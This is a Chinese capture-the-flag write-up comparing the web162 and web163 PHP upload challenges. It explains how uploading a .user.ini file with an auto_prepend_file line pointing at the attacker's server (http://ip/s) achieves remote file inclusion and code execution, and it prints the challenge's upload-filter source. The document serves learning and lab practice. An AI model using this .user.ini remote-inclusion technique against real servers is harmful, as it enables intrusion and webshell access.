(本文为RFI在162的基础上进一步运用,基本步骤 请转至web162)
一.初步尝试
按照我们之前162所讲述的方法先进行尝试,但是发现结果是这样的:

1.warning
-
open stream:PHP 试图"打开一个文件/流"
-
failed:失败了
-
No such file or directory:找不到这个文件
📌 PHP 把我们传的内容 当成本地文件路径 了。
2.fatal error
1)required 'png'
这句话不是描述行为,而是"复述 PHP 内部做的代码",等价于
php
require("png");
不是我们写了这行**,而是 PHP 在内部真的执行了它。**
2) 为什么是 require,不是 include?
-
require:找不到文件 → 直接 fatal error -
include:找不到 → warning 还能继续
我们看到最前面的是fatal error,所以后端用的是require语义
3)什么是 include_path?
这是 PHP 的一个全局配置项:
php
include_path=".:/usr/local/lib/php"
当我们 require("png"),而不是绝对路径时,PHP 会按顺序去这些目录找。
而这里的.是当前所在目录,后面的一串则是php自带的库目录
4)总的来说
php
PHP 启动
↓
加载 php.ini / .user.ini
↓
auto_prepend_file(执行我们的远程代码)
↓
require("png") ← 报错也无所谓
PHP 在启动阶段尝试执行: require("png");它按 include_path 去找这个文件,在当前目录和 PHP 库目录都没找到,所以直接终止执行。 这就告诉我们之前传的png没有被拼接,并且 无法控制require的目标内容,所以之前162的方法在这里失效了。那么,我们就需要直接在一个文件中写入我们的远程包含,而.user.ini则具备这个能力
二:正确方法
在.user.ini中,我们可以以这样的形式直接包含远程文件:
php
auto_prepend_file=http://ip/s
bp抓包修改后发包,再访问/upload/,可以看到界面如下:

可以看到是没有报错的,可以连蚁剑或者直接hackbar里输入命令就行,这里我用hackbar:


我自己后面也又连了蚁剑去看源码如下:
php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}
sleep(2);
clearUpload();
echo json_encode($ret);
可以看到是有clearup的,所以我们只能传一个文件。
三:与162对比
做完这道题我就在想,既然可以直接传一个文件,那我在162是不是也可以就传一个.user.ini呢,然后我去试了一下,发现也是可以直接传一个:

但是这样我又在想的是163中user.ini的使用是因为控制不了 include 的内容,只能劫持 PHP 执行流程 ,那在162中可不可以直接RFI而不用.user.ini呢,然后我又去试了一下:
啥都没有,然后我的远程服务器也没有反应
后面我发现我陷入了一个误区:其实这里面直接传include本身是不行的,因为源码里面就没有include:
php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
echo json_encode($ret);
而之前162我们先传的user.ini,是先include"png", 然后png里面的内容再去包含我们的远程服务器,从这里就可以看出这道题里的题目环境是allow_url_include=On, 要不然png是连不到我们的远程服务器的。
而user.ini的传入是使配置层直达include,即include("http://ip/s"); 这里就是两个分支:
分支 A:allow_url_include = On
-
PHP 允许 URL wrapper
-
识别
http:// -
发起 HTTP 请求到你的服务器
-
下载
s文件内容 -
把内容当作 PHP 代码解析并执行
远程代码执行发生在这里
分支 B:allow_url_include = Off
-
PHP 检测到这是 URL
-
直接拒绝
-
抛出 warning(可能被隐藏)
-
http://ip/s 从未被请求
-
远程代码 绝不可能执行
流程在这里终止
而如果题目中的环境是allow_url_include=off,那么我们就不能再进行RFI,只能LFI来做,就比如拼接过滤 或者session文件包含等等
四:总结
通过对 web162 与 web163 的对比分析,可以发现这两道题表面形式相似,本质却完全不同。
在 web162 中,题目并不存在任何显式的 include 或 require 点,攻击者无法通过源码层直接触发文件执行。真正的突破口在于 .user.ini 对 PHP 启动流程的劫持 :
通过 auto_prepend_file,我们可以让 PHP 在执行脚本之前,主动去包含一个我们可控的文件。由于题目环境中 allow_url_include = On,这一包含可以是远程 URL,从而实现 RFI。
而在 web163 中,题目进一步收紧了条件:
上传目录存在清理机制(clearUpload()),使得攻击者只能成功保留一个文件 。这意味着,像 web162 那样「.user.ini + 本地图片再二次包含远程」的思路已经失效。
此时,唯一可行的方式,就是直接在 .user.ini 中写入远程 auto_prepend_file,让 PHP 在启动阶段完成一次性远程包含。
在分析过程中,一个容易产生的误区是:
误以为"直接传 include 代码即可触发 RFI" 。
但实际上,无论是 web162 还是 web163,源码层根本不存在 include 执行点 ,上传的文件也不会被主动解析执行。所有成功的利用,都是发生在 PHP 配置层,而非业务代码层。
进一步抽象可以发现,.user.ini 的作用并不是"绕过过滤",也不是"替代 include",而是:
将攻击路径从"源码执行阶段",提升到"PHP 启动阶段"
是否能够最终完成 RFI,取决于运行环境中 allow_url_include 的取值:
-
allow_url_include = On→
.user.ini可直接引入远程代码,RFI 成立 -
allow_url_include = Off→ 远程包含在配置层直接被阻断,攻击流程终止,只能转向 LFI、日志包含、session 包含等本地利用方式
因此,这两道题真正考察的,并不是某个固定 payload,而是对以下三点的理解:
-
源码是否提供文件执行入口
-
PHP 配置文件(
.user.ini)的加载时机与权限 -
环境参数(如
allow_url_include)对漏洞模型的决定性影响
当这三点被理清之后,就不再是"照着 WP 做题",而是可以在看到源码和环境特征的第一时间,判断出:
这道题能不能 RFI?如果不能,攻击面应该转向哪里?
我想这才是 web162 / web163 真正想教会我们的东西。